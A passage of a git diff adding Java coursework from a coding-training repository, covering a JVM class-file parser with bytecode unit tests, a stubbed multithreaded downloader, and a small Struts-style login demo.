+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..03b965aa87
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,170 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+    public ClassFile parse(byte[] codes) {
+
+
+        ClassFile clzFile = new ClassFile();
+
+        ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+        String magicNumber = iter.nextU4ToHexString();
+
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+
+        clzFile.setMinorVersion(iter.nextU2ToInt());
+        clzFile.setMajorVersion(iter.nextU2ToInt());
+
+        ConstantPool pool = parseConstantPool(iter);
+        clzFile.setConstPool(pool);
+
+        AccessFlag flag = parseAccessFlag(iter);
+        clzFile.setAccessFlag(flag);
+
+        ClassIndex clzIndex = parseClassInfex(iter);
+        clzFile.setClassIndex(clzIndex);
+
+        parseInterfaces(iter);
+
+        parseFields(clzFile, iter);
+
+        parseMethods(clzFile, iter);
+
+        return clzFile;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+        AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+        // System.out.println("Is public class: " + flag.isPublicClass());
+        // System.out.println("Is final class : " + flag.isFinalClass());
+
+        return flag;
+    }
+
+    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+        int thisClassIndex = iter.nextU2ToInt();
+        int superClassIndex = iter.nextU2ToInt();
+
+        ClassIndex clzIndex = new ClassIndex();
+
+        clzIndex.setThisClassIndex(thisClassIndex);
+        clzIndex.setSuperClassIndex(superClassIndex);
+
+        return clzIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+        int constPoolCount = iter.nextU2ToInt();
+
+        System.out.println("Constant Pool Count :" + constPoolCount);
+
+        ConstantPool pool = new ConstantPool();
+
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for (int i = 1; i <= constPoolCount - 1; i++) {
+
+            int tag = iter.nextU1toInt();
+
+            if (tag == 7) {
+                // Class Info
+                int utf8Index = iter.nextU2ToInt();
+                ClassInfo clzInfo = new ClassInfo(pool);
+                clzInfo.setUtf8Index(utf8Index);
+
+                pool.addConstantInfo(clzInfo);
+            } else if (tag == 1) {
+                // UTF-8 String
+                int len = iter.nextU2ToInt();
+                byte[] data = iter.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+
+                UTF8Info utf8Str = new UTF8Info(pool);
+                utf8Str.setLength(len);
+                utf8Str.setValue(value);
+                pool.addConstantInfo(utf8Str);
+            } else if (tag == 8) {
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 9) {
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iter.nextU2ToInt());
+                field.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(field);
+            } else if (tag == 10) {
+                // MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iter.nextU2ToInt());
+                method.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(method);
+            } else if (tag == 12) {
+                // Name and Type Info
+                NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+                nameType.setIndex1(iter.nextU2ToInt());
+                nameType.setIndex2(iter.nextU2ToInt());
+                pool.addConstantInfo(nameType);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+            }
+        }
+
+        System.out.println("Finished reading Constant pool ");
+
+        return pool;
+    }
+
+    private void parseInterfaces(ByteCodeIterator iter) {
+        int interfaceCount = iter.nextU2ToInt();
+
+        System.out.println("interfaceCount:" + interfaceCount);
+
+        // TODO : 如果实现了interface, 这里需要解析
+    }
+
+    private void parseFields(ClassFile clzFile, ByteCodeIterator iterator) {
+        int fieldsNum = iterator.nextU2ToInt();
+        for (int i = 0; i < fieldsNum; i++) {
+            clzFile.addField(Field.parse(clzFile.getConstantPool(), iterator));
+        }
+    }
+
+
+    private void parseMethods(ClassFile clzFile,ByteCodeIterator iterator){
+        int method_count = iterator.nextU2ToInt();
+        for (int i = 0; i < method_count; i++) {
+            Method method = Method.parse(clzFile,iterator);
+            clzFile.addMethod(method);
+        }
+
+    }
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..48fe76a1de
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,66 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Method {
+
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+        int access_flag = iter.nextU2ToInt();
+        int name_index = iter.nextU2ToInt();
+        int descriptor_index = iter.nextU2ToInt();
+        int attributes_count = iter.nextU2ToInt();
+        Method method = new Method(clzFile, access_flag, name_index, descriptor_index);
+
+        System.out.println("method_info" + name_index + "有" + attributes_count + "个属性");
+
+        for (int i = 0; i < attributes_count; i++) {
+            method.setCodeAttr(CodeAttr.parse(clzFile, iter));
+        }
+
+        return method;
+
+    }
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..c4ab5853ab
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,354 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week6_jvm\\out\\production\\week6_jvm";
+	static String path2 = "C:\temp";
+
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+
+		clzFile = loader.loadClass(className);
+
+	}
+
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testClassPath(){
+
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+
+		String clzPath = loader.getClassPath();
+
+		Assert.assertEquals(path1+";"+path2,clzPath);
+
+	}
+
+	@Test
+	public void testClassFileLength() {
+
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+
+		String className = "com.coderising.jvm.test.EmployeeV1";
+
+		byte[] byteCodes = loader.readBinaryCode(className);
+
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+
+	}
+
+
+	@Test
+	public void testMagicNumber(){
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+
+
+		String acctualValue = this.byteToHexString(codes);
+
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+
+
+
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+	/**
+	 * ----------------------------------------------------------------------
+	 */
+
+
+	@Test
+	public void testVersion(){
+
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+
+	}
+
+	@Test
+	public void testConstantPool(){
+
+
+		ConstantPool pool = clzFile.getConstantPool();
+
+		Assert.assertEquals(53, pool.getSize());
+
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+	}
+	@Test
+	public void testClassIndex(){
+
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+	}
+
+	/**
+	 * 下面是第三次JVM课应实现的测试用例
+	 */
+	@Test
+	public void testReadFields(){
+
+		List<Field> fields = clzFile.getFields();
+		Assert.assertEquals(2, fields.size());
+		{
+			Field f = fields.get(0);
+			Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+		}
+		{
+			Field f = fields.get(1);
+			Assert.assertEquals("age:I", f.toString());
+		}
+	}
+	@Test
+	public void testMethods(){
+
+		List<Method> methods = clzFile.getMethods();
+		ConstantPool pool = clzFile.getConstantPool();
+
+		{
+			Method m = methods.get(0);
+			assertMethodEquals(pool,m,
+					"<init>",
+					"(Ljava/lang/String;I)V",
+					"2ab7000c2a2bb5000f2a1cb50011b1");
+
+		}
+		{
+			Method m = methods.get(1);
+			assertMethodEquals(pool,m,
+					"setName",
+					"(Ljava/lang/String;)V",
+					"2a2bb5000fb1");
+
+		}
+		{
+			Method m = methods.get(2);
+			assertMethodEquals(pool,m,
+					"setAge",
+					"(I)V",
+					"2a1bb50011b1");
+		}
+		{
+			Method m = methods.get(3);
+			assertMethodEquals(pool,m,
+					"sayHello",
+					"()V",
+					"b2001c1222b60024b1");
+
+		}
+		{
+			Method m = methods.get(4);
+			assertMethodEquals(pool,m,
+					"main",
+					"([Ljava/lang/String;)V",
+					"bb000159122b101db7002d4c2bb6002fb1");
+		}
+	}
+
+	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+		String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+	}
+
+	@Test
+	public void testByteCodeCommand(){
+		{
+			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+			ByteCodeCommand[] cmds = initMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+			assertOpCodeEquals("4: aload_0", cmds[2]);
+			assertOpCodeEquals("5: aload_1", cmds[3]);
+			assertOpCodeEquals("6: putfield #15", cmds[4]);
+			assertOpCodeEquals("9: aload_0", cmds[5]);
+			assertOpCodeEquals("10: iload_2", cmds[6]);
+			assertOpCodeEquals("11: putfield #17", cmds[7]);
+			assertOpCodeEquals("14: return", cmds[8]);
+		}
+
+		{
+			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+			ByteCodeCommand [] cmds = setNameMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: aload_1", cmds[1]);
+			assertOpCodeEquals("2: putfield #15", cmds[2]);
+			assertOpCodeEquals("5: return", cmds[3]);
+
+		}
+
+		{
+			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+			assertOpCodeEquals("0: getstatic #28", cmds[0]);
+			assertOpCodeEquals("3: ldc #34", cmds[1]);
+			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+			assertOpCodeEquals("8: return", cmds[3]);
+
+		}
+
+		{
+			Method mainMethod = this.clzFile.getMainMethod();
+
+			ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+			assertOpCodeEquals("0: new #1", cmds[0]);
+			assertOpCodeEquals("3: dup", cmds[1]);
+			assertOpCodeEquals("4: ldc #43", cmds[2]);
+			assertOpCodeEquals("6: bipush 29", cmds[3]);
+			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+			assertOpCodeEquals("11: astore_1", cmds[5]);
+			assertOpCodeEquals("12: aload_1", cmds[6]);
+			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+			assertOpCodeEquals("16: return", cmds[8]);
+		}
+
+	}
+
+	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+		if(cmd instanceof OneOperandCmd){
+			if(cmd instanceof BiPushCmd){
+				acctual += " " + ((OneOperandCmd)cmd).getOperand();
+			} else{
+				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+			}
+		}
+		if(cmd instanceof TwoOperandCmd){
+			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+		}
+		Assert.assertEquals(expected, acctual);
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java b/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java b/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java b/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..85e2e22de3
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,34 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
